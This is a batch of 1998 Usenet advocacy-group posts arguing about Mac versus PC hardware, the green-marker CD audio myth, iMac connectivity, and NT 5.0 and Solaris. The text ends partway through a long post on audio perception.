>640x480 no mods Quake FPS 26.3
So my PII 300 with a regular 2d card (millennium II) is faster at
Quake at 640x480 than a G3 300 with a voodoo card?
No wonder I thought I had it so good.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 17 Aug 1998 21:31:23 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ra7fb$b9h$2@news.spacelab.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <35d525ad.0@news.depaul.edu> <gmgraves-15089811 <6ra04l$akc$1@news.spacelab.net> <6ra21n$dff@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>Charles W. Swiger <chuck@codefab.com> wrote:
>>[snip]
>>However, one fundamental assumption of sampling theory is that when you
>>sample or reconstruct the bits, you do so at absolutely constant intervals.
>>So, even small differences in sample times make a real, audible difference in
>>audio even if the error rate and the digital data stream is not changed.
>
>I think the intervals on the digital data stream from the CD would be
>set by a clock on the CD player, and not by the CD.
It's supposed to be, agreed. Modern players and/or outboard DAC's seem to do a much
better job of removing or reducing jitter than earlier models did.
> I imagine there would be more potential jitter from non-uniform rotation
> of the CD than from any green marker; and that the electronics takes
> care of this.
Not just that, but esp. on less expensive players, the power supply that powers the DAC
and analog output circuitry is also powering the transport. A CD which wobbles (weight
off-center) will cause fluctuations in the voltage rails which'll couple with the output
sound. This is the modern, electrical equivalent of speakers inducing mechanical
resonance in a turntable or tube equiment.
Higher quality CD players have two seperate, electrically isolated power supplies for
the mechanical and audio stages.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <jdoherty-1608982015410001@aus-tx21-08.ix.netcom.com>
Message-ID: <35d79242.0@news.depaul.edu>
Date: 17 Aug 98 02:15:30 GMT
In comp.sys.next.advocacy John Doherty <jdoherty@ix.netcom.com> wrote:
> In article <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
> [re: green markers and CDs]
> | It helped, believe it or not, in a number of cases. I don't know where my
> | green marker is now, but when CDs were relatively new, it did wonders.
> You're nuts, and any difference you perceived in this "test" was nothing
> more than your imagination.
To tell the truth, I was being facetious when I first brought it
up. I was curious how the hi-enders would respond. IMHO,
it's about as valid as 'pyramid power'.
My guess is that the whole thing started when someone noticed
that plate glass is often green when seen edge-on, and wanted
their CD's to look the same.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 18 Aug 1998 01:19:08 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6rakqc$ek6@newsb.netnews.att.com>
References: <35D45C80.38A0C880@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Originator: gupta@tlctest
On Mon, 17 Aug 1998 16:15:03 -0500, Michael Peck wrote:
>:Decent dodge, but it doesn't work. I've expressed my opinions on Apple's
>:business direction and pure speculation regarding Apple's plans.
>:Anything I have said regarding MacOS X is public knowledge, and as far
>:as I know, I have not made any technical comments whatsoever regarding
>:its stability.
Anything I've said about NT 5.0 is also public knowledge -- I'm quoting
magazines and computer industry analysts, after all. I've given complete
reference to the original source when I've said anything about NT.
I'm not making any statements based on other information that I may have.
I don't think I've made any technical comments whatsoever regarding NT 5.0's
stability. I've made informed-opinion-comments. If you can't distinguish
them from technical comments, that is **your** problem. You can impeach
the sources, or you can impeach any misquotes I make, if I made any.
If my arguments have a logical flaw, point them out if you please.
Your attempt to turn this into "Who are you to make comments about NT 5.0?"
I choose not respond to any further.
-arun gupta
From: massello@flash.net (Neill Massello)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 01:08:33 -0600
Organization: Eidola Enterprises
Message-ID: <massello-1708980108330001@p31.amax1.dialup.elp1.flash.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net>
In article <35D72295.1D53@bellatlantic.net>, dutky@bellatlantic.net wrote:
> If the green marker were applied to the edge of the CD
> it could easily change the amount of light scattered
> around on the inside of the CD plastic. The scattered
> light could be interfering with the CD players ability
> to identify the binary data on the platter, and the green
> boundry at the edge could be reducing the amount of scatterd
> light (the CD use either red or infrared LED lasers, which
> would be absorbed by a green filter).
A dye placed on the ~outside~ of the plastic rim of the CD could only
absorb light that would normally be exiting from the CD anyway. Any
reflections created at the boundary of the CD would be unaffected,
remaining to bounce around within the CD. Unless the CD player's tray was
reflective -- and most CD player interiors have always been black, which
is at least as good as green for absorbing red or infrared (or any other
color) light -- painting the rim of the CD wouldn't make a difference.
And even then, all those errant photons would have to make their way back
from the rim to wherever the laser pickup was (CD data tracks start at the
inside and spiral out toward the rim) all the while retaining enough
intensity to cause light "noise" sufficient to create enough bit errors to
overwhelm the error correction built in to the CD system.
In short, the whole green markers idea is unadulterated superstition. At
least they don't cost as much as the silver speaker wires that are also
sold to the scientifically challenged.
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 00:19:04 -0700
Organization: Oh, I only wish
Message-ID: <not-1708980019050001@ip-26-188.phx.primenet.com>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net>
Mail-Copies-To: never
In article <kindall-1608982232400001@nic-c41-094.mw.mediaone.net>,
kindall@mail.manual.com (Jerry Kindall) wrote:
> > >> You need to use a green marker on the edge of the CD.
> > >
> > >to which George Graves responded:
> > >> It helped, believe it or not ... I was part of several
> > >> double-blind tests which proved conclusively that the
> > >> green marker changed the sound - often for the better.
> > >
> > >and Jacob Fuller followed up with:
> > >> What exactly does the green marker do?
> >
> > I green-markered my OS CDs...they loaded 15% faster and had fewer bugs
> > than without the green marking. :-)
>
> Did you try it on an Office 4.2.1 CD? I hear that's much improved.
Before any of you fall prey to this ridiculous claptrap about green
markers, consider this:
The "laser" used in CD players is in the IR band--its wavelength is
*lower* than green (or any color.) What color it shined through would make
no difference at all. (for those who didn't make it past high school
science, colors are colors because they reflect a particular wavelength of
light and absorb the others. There is no color for infrared.) And if you
used an opaque green marker, the CD would be useless. This "rumor" is
about as valid as rat-in-the-fried-chicken story or a Good Times virus.
michael
--
"If you're bored, then you're boring"--Harvey Danger, Flagpole Sitta
Michael M. Eilers * Fearful Symmetry Designs * e-mail in headers
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 18 Aug 1998 02:27:08 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6raops$23t@news1.panix.com>
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9ngb$n46$1@lwnws01.ne.highway1.com> <35D8C9AF.1E0B581B@ericsson.com>
On Mon, 17 Aug 1998 19:24:15 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>I don't see how. Yellow Box is not being pushed at all, which makes it
>dangerous as a candidate for the axe.
Pure fud.
WO is based on YellowBox and WO is one of the "core products" according
to Jobs. YB and WO are not being pushed, because they are not running
on shipping Apple hardware right now.
>And the presence of a BSD C Library is nice, agreed. But put it in
>perspective; with NT at least you have a command shell to work with.
>That's a volunteer install on a MacOS X box.
The bourne shell with be shipped with MacOSX. It is needed to handle
the stuff in /etc and to install packages.
Any telnet client can be a CLI, assuming that you can start up a telnetd
I doubt that anyone who wants a CLI is going to have to work all that hard
to get it up and running.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 02:43:58 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <364a9876.218819802@news.supernews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <361bf690.177367739@news.supernews.com> <19980816130112440082@pm2-2-04.aug.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
nojunkhattonr@aug.com (Rick), on Sun, 16 Aug 1998 13:01:12 -0500,
>T. Max Devlin <mdevlin@eltrax.com> wrote:
>
>> I just love this shit. "The Mac is starting to really take off." The
>> damn thing has been the most popular non-IBM clone microcomputer for
>> almost fifteen years, and people still think in terms of "starting to take
>> off; will become very popular in the future", etc.
>
>How about... starting to take off again?
Considering the current microcomputer environment, EVERYTHING is starting to
take off again. And it will get even better after September. But isn't the
iMac just Apple's answer to Windows98? :-)
(yes, it's a troll. :-)
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 10:17:38 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu>
In article <35d84257.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Michael M. Eilers <not@a.valid.email.add> wrote:
>
> > Before any of you fall prey to this ridiculous claptrap about green
> > markers, consider this:
>
> > The "laser" used in CD players is in the IR band--its wavelength is
> > *lower* than green (or any color.)
>
> This is incorrect. Every CD player I've had used a red laser.
Sorry, every CD uses an IR laser. If it were red, you would be able to
see the laser with the top of the player removed. You can't. IR is
invisable.
George Graves
Date: Mon, 17 Aug 1998 13:15:40 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1708981315410001@0.0.0.0>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>
In article <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <joe.ragosta-1708980656280001@elk81.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > But that's my point. If the error correction measurements are unchanged,
> > the color couldn't possibly make a difference. If the laser sends
> > 010011010110101.... to the DAC, it doesn't matter one whit whether those
> > bits per picked up with a red laser, with a filtered laser, or with a
> > PlaySchool player.
> >
> > The only possible explanation would be if the green magic marker reduced
> > (or increased) the number of errors--and this should be easily
> > quantifiable.
>
>
> There is, however, another explanantion. We don't understand all we know about
> the process of digitizing audio. I mean, based on your assumption, the cabel
> between the CD transport and the outboard D/A converter shouldn't make any
> difference to the sound either - but it does.
Again, you'd have to show evidence that it does.
A digital signal can't be affected other than if there are errors in the
signal. It's not like an analog signal where a few percentage difference
can make a difference in the final sound.
Once again, if you have the same bit string going to the DAC, what
difference does it make how you got that bit string?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: nospam@poop.com (Sandman)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Sun, 16 Aug 1998 20:08:03 -0600
Organization: Exec-PC BBS Internet - Milwaukee, WI
Message-ID: <6r86kc$p41@newsops.execpc.com>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net>
In article <scjennings-1608981741190001@ppp011.creative.net>,
scjennings@NOSPAMprowillen.com (Sam Jennings) wrote:
> In article <35D777E5.C9A694E3@shinbiro.com>, Brian Cho
> <chobros@shinbiro.com> wrote:
>
> > Is there a port to hook up a Zip drive? or a Spark Drive (only heard
> > about that from my friend). Maybe iMac doesn't have a floppy, so people
> > will just go out and hook up these 100MB-1GB drives?
>
> Iomega has announced plans to sell a Zip with a USB connection that will
> work with an iMac.
>
> Imation also is making a "Superdrive" that will read and write ordinary
> floppy disks, plus their "Superdisks" which will hold 120mb. So this would
> give an iMac the ability to read floppies and a Zip-like large-capacity
> disk.
>
> I wonder if Superdisk will catch on?
>
>
>
> Sam Jennings
> San Francisco
How about a USB-SCSI converter? Is there one in the works or what? They
can't ignore it, I'd really like to use my CD-R drive if I were to
purchase an iMac...and if not, hopefully someone will produce a burner w/
a USB connection...
Date: Mon, 17 Aug 1998 15:14:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Distribution: world
Subject: Re: iMac question...
Message-ID: <joe.ragosta-1708981514290001@wil72.dol.net>
References: <6r9lat$sc9$2@sun27.hrz.tu-darmstadt.de> <6r9s2q$6g8@btmpjg.god.bel.alcatel.be>
In article <6r9s2q$6g8@btmpjg.god.bel.alcatel.be>,
suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de wrote:
> Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes
> > >> Joe Ragosta <joe.ragosta@dol.net> wrote:
> > >> >There's a SCSI/Ethernet bridge. Check Apple's iMac page, but I think it
> > >> >was $99.
> > I'm pretty sure it was on mcnn, about two week ago. The price range
> > seems about right, too.
> >
>
> Maybe that was an Ethernet/SCSI bridge?
>
> Nevertheless, a computer without serial/parallel ports
> and floppies and SCSI, but with 100bt ethernet and USB
> creates a market for some very nice new 3pp hardware,
> which is a good thing not just for pushing new technology
> but also to grow a supporting set of companies, that
> spread the word.
>
> Personally I wouldn't need neither SCSI nor a Floppie
> since I could connect the iMac to my home network, and
> I'm not doing backups anyway, so I'd be happy I have not
> to pay for it.
>
> BTW., does anybody know what iMacs will cost outside
> of the U.S.A., e.g. in germany?
You might check with Apple's local Germany site. Or, my web page has a few
links in Germany where someone might know the answer.
It's at:
www.dol.net/~Ragosta/world.htm
Good luck.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 17 Aug 1998 21:21:22 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Message-ID: <stevehix-1708982121230001@ip31.safemail.com>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <3655ab70.223679192@news.supernews.com> <35D7C467.4370@micron.net>
Organization: Close to None
In article <35D7C467.4370@micron.net>, ehc@micron.net wrote:
> T. Max Devlin wrote:
> > >
> > >Imation also is making a "Superdrive" that will read and write inary
> > >floppy disks, plus their "Superdisks" which will hold 120mb. So this
> > >give an iMac the ability to read floppies and a Zip-like large-capacity
> > >disk.
> > >
> > >I wonder if Superdisk will catch on?
> IMN stock took a jump up over the past few days but my judgment is that
> the LS-120 will be sucking sand once Sony comes out with their 100+
> meg-drive (also reads old 1.44 disks as does the LS-120).
If it's any faster than the LS-120...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 17 Aug 1998 20:54:10 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ra59i$dpc@newsb.netnews.att.com>
Originator: gupta@tlctest
http://www.winntmag.com/ -> Communities -> Windows NT 5.0 ->
7/24/98 Code Bloat Frightens NT 5.0 Deployment Sites
...The latest interim build of NT 5.0, build 1835, contains
roughly five hundred megabytes, much of it being new code.
.... A basic installation of NT Server 5.0 pegs the CPU at
about 65%, and the working set alone is over 35 megabytes.
And that is without any applications loaded".
-arun gupta
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: 17 Aug 1998 21:04:36 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6th6n4.q0m.sal@panix3.panix.com>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <6r86kc$p41@newsops.execpc.com> <joe.ragosta-1708980828590001@wil51.dol.net> <ericb-1708981140120001@r4149.resnet.cornell.edu>
On Mon, 17 Aug 1998 11:40:11 -0500, Eric Bennett <ericb@pobox.com> wrote:
>I case you're forgetting, USB is 12 mbit/sec and standard 10bt ethernet is
>10 mbit/sec, so USB is faster.
USB is 12 MegaBIT/sec. SCSI is 5/10/20 MegaBYTE/sec. Even "old" 5MB/s SCSI
is faster than USB.
--
sal@panix.com
Salvatore Denaro
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: edew@netcom.com (Eric Dew)
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <edewExuqBr.3u6@netcom.com>
Sender: edew@netcom12.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net>
Date: Mon, 17 Aug 1998 20:59:51 GMT
In article <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> kindall@mail.manual.com (Jerry Kindall) writes:
>In article <edewExt5HI.JBz@netcom.com>, edew@netcom.com (Eric Dew) wrote:
>
>> In article <35D72295.1D53@bellatlantic.net> dutky@bellatlantic.net writes:
>> >Concerning the sound quality of audio CDs, Honathan Hendry
>> >wrote (possibly sarcastic):
>> >> You need to use a green marker on the edge of the CD.
>> >
>> >to which George Graves responded:
>> >> It helped, believe it or not ... I was part of several
>> >> double-blind tests which proved conclusively that the
>> >> green marker changed the sound - often for the better.
>> >
>> >and Jacob Fuller followed up with:
>> >> What exactly does the green marker do?
>>
>> I green-markered my OS CDs...they loaded 15% faster and had fewer bugs
>> than without the green marking. :-)
>
>Did you try it on an Office 4.2.1 CD? I hear that's much improved.
>
Yes, I understand Microsoft is selling MS-GreenPen 2.3 for $29.95 in lieu
of one-year of free tech support.
EDEW
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Mon, 17 Aug 1998 16:15:03 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D89D57.E0678722@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> >But now I expect you are familiar with the source code behind NT 5.0,
> >no? You are just making flippant remarks? Or you actually have intimate
> >knowledge of NT 5.0's stability?
>
> I'm posting with the same seriousness and knowledge (or lack thereof)
> as you have been about Apple's future, MacOS X, etc.
Decent dodge, but it doesn't work. I've expressed my opinions on Apple's
business direction and pure speculation regarding Apple's plans.
Anything I have said regarding MacOS X is public knowledge, and as far
as I know, I have not made any technical comments whatsoever regarding
its stability.
I mean, don't take it to heart that I called you ignorant, or anything,
such that you feel you have to reciprocate. Want to try again? Or just
get back to the original question?
MJP
Message-ID: <35D7C467.4370@micron.net>
From: ehc <ehc@micron.net>
MIME-Version: 1.0
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <3655ab70.223679192@news.supernews.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 16 Aug 1998 23:49:27 -0600
NNTP-Posting-Date: Sun, 16 Aug 1998 23:50:54 MDT
T. Max Devlin wrote:
> >
> >Imation also is making a "Superdrive" that will read and write inary
> >floppy disks, plus their "Superdisks" which will hold 120mb. So this
> >give an iMac the ability to read floppies and a Zip-like large-capacity
> >disk.
> >
> >I wonder if Superdisk will catch on?
IMN stock took a jump up over the past few days but my judgment is that
the LS-120 will be sucking sand once Sony comes out with their 100+
meg-drive (also reads old 1.44 disks as does the LS-120).
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 17 Aug 1998 22:40:46 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <6rabhe$its$1@walter.cs.umd.edu>
NNTP-Posting-User: seanl
George Graves (gmgraves@slip.net) wrote:
: The folks at Stereophile's office (In Santa Fe NM) conducted doubel blind
: tests, and a number of bay-area audiophiles did the same (I was part of
: several of the latter tests. In fact in two of them, my then girl
: friend, totally bored by it all,
: was switching between several copies of the same CD in another room. without
: knowing why she was doing so). All the tests had the same outcome. Everyone
: heard the difference on CDs where there was a difference almost 100% of the
: time (where scores of near 50% represented blind chance), and heard a
: degradation where there was a degradation at aroung 85% of the time and heard
: no change where there seemed to be no change at about the same rate.
My guess: either luck, or misremembering. Not in the least to slam you
here, George -- I have no doubt you remember it this way. But it's
amazing how reality gets bent through time (just ask jury-witness
scientists). It's also entirely possible through luck. This doesn't
sound like a statistically significant sample.
Let's get back to an earlier issue: the notion that vinyl "sounds better"
than CDs. First, my qualifications: I'm a former sound engineer, a
designer of sound editing and audio software, and the proud owner of a lot
of vintage and current studio and synthesizer equipment. I also have
perfect pitch, and I'm one of the very rare individuals who can perceive
frequencies up to nearly 30KHz, and hear frequencies well over 24KHz
(where many burglar alarms subfrequencies are located -- boy do I have
some amazing stories about that). It's a fun thing to brag about but of
relatively little value in life; and a lot of annoyance frankly.
My experience:
0) At 16 bits, the dynamic range (range of amplitude) of CDs is almost
beyond human discernment.
1) At 44.1KHz, the (22.05KHz) maximum nyquist frequency is at the edge of
good human ears. It is beyond human distinction (that is, telling beyond
22.05KHz and 22.048KHz, say) but not beyond human _discernment_ (being
able to _hear_ a 22.05KHz tone). In general, the only people capable of
hearing tones over 20KHz as a group are young women (under 18 or so) who
have listened to no extended loud music. If you have gone to just a few
indoor rock concerts, or you're over 30, your hearing is probably not even
at 20KHz. Many professional digital recordings are done at 48KHz, which
boosts the Nyquist frequency to 24KHz, covering that last 0.001% for most
people.
2) That being said, as humans we have other physiological means of
discerning sounds than just our cochlea. Although we cannot hear or
discern the presence of pitches over, say, 25KHz, they are capable of
flavoring sounds -- even frequencies up to 100KHz, if sufficiently loud.
These frequencies show up naturally in the square edges accompanying
digital waveforms. As a result, without good antialiasing, digital sounds
can sound "crisper". The terms bandied about in the synthesizer world are
that analog sound is "warm" and digital sound is "cool". This certainly
is the case for analog synthesizers versus digital synthesizers, but these
are devices which are directly producing, not storing and replaying,
sound.
3) *However, most CD players have reasonably good antialiasing, though
DACs aren't as up to spec as we'd all like to imagine. Further, except
for the very first play, vinyl isn't even in the same ballpark. After the
first few plays, records deteriorate dramatically in high-end frequency
reproduction, to a level rather worse than CD players IMHO. Vinyl sounds
"warmer" much because of chorusing and the stripping of high frequencies
that are *supposed* to be there. The retro-movement towards vinyl that
occured during the early '90s had as little to do with "better sound
reproduction" as Skin So Soft does with keeping mosquitoes at bay (this
was followed by the even more absurd movement back to tube amps 'cause
they sounded "warmer" -- mostly due to chorusing, which audiophiles took
as somehow "more realistic" :-). Even audio professionals will SWEAR that
they can hear the difference. I personally know a bunch of 'em! But if
you put them to a double-blind test, not using the amp they're accustomed
to (which probably has certain oddities they can distinguish) but compare
direct analog and digital approaches, or tube versus transistor amps, you
don't get a statistically significantly valid distinction. It's
especially fun when you take a CD versus vinyl and run both through a
digital effects processor, and audiophiles still insist they can tell the
difference. :-)
4) The industry pushes these notions and fads because they've got to make
money at the high end, while stuck with the situation that the low end
sounds now almost perfect in true double-blind tests to everyone except
the rare weirdos like me. They've got to make a "distinction" worth that
$40,000. Hence back-to-analog tape, back-to-vinyl, tube amps, and analog
synthesizers (which do sound pretty different, but that's mostly because
their electronics produce tough-to-replicate waveforms...not better, just
tough to replicate). The most amazing bit is that audiophiles usually
perceive as "more realistic" sound that which is far from the real thing.
The high and low frequencies have been punched up dramatically, certain
frequencies have been chorused, and the dynamics are far from flat. The
sanctification of "Theatre Sound" is the most bizarre, as its frequencies
are so non-flat (to give excitement to the film) that it qualifies as the
most artificial sound in the industry. Most high-end audiophile equipment
is not as bad, but still utterly unrealistic, and truly flat
research-grade studio monitors sound "absolutely horrible" to most
audiophile ears -- simply because they reproduce the sound exactly as it
is. It's amazing how much psychology is involved in sound, especially
when $40,000 of ego gets wrapped up into it...
5) I'd guess that near to 70% of the mixes in the industry are performed
on "consumer-grade" studio monitors, specifically because engineers want
to mix for their intended audience: the boom-box crowd, not the
precision-flat studio engineer crowd. They still use decent but
far-from-perfect monitors (by far the most popular are have long been the
Yamaha NS10 series) that strike a mid-point between true accuracy and the
consumer stupidity of the audiophile public. $400 or so a pair. If you
want to hear a CD as it sounded when was mixed, that's what you buy. I
guarantee you won't like it that much. It doesn't sound "exciting"
enough.
Now, let me tell you two quick stories about sound and psychology. First,
I used to work next to an anechoic chamber. These are rooms where you
walk out onto a stiff metal net, and every surface of the room has been
covered with 1 meter deep fiberglass baffling. The walls, the floor below
you, the ceiling, even the door as it closes. The design of this room is
to eliminate all reverberant sound, so you can take accurate samples of
sounds without any reverberant runoff. AND IT IS EXTREMELY DISTURBING TO
BE IN THIS ROOM FOR ANY SIGNIFICANT PERIOD OF TIME. You hear the blood
pumping in your ears constantly. The silence is...well...it's
*oppressive*. It's like something pushing into you on all sides. When
you speak, it's as if your voice has been stolen as soon as it leaves your
mouth. It's a truly bizarre experience you have to try to believe (for
Don and Kris, there used to be one in the basement of the Eyring Science
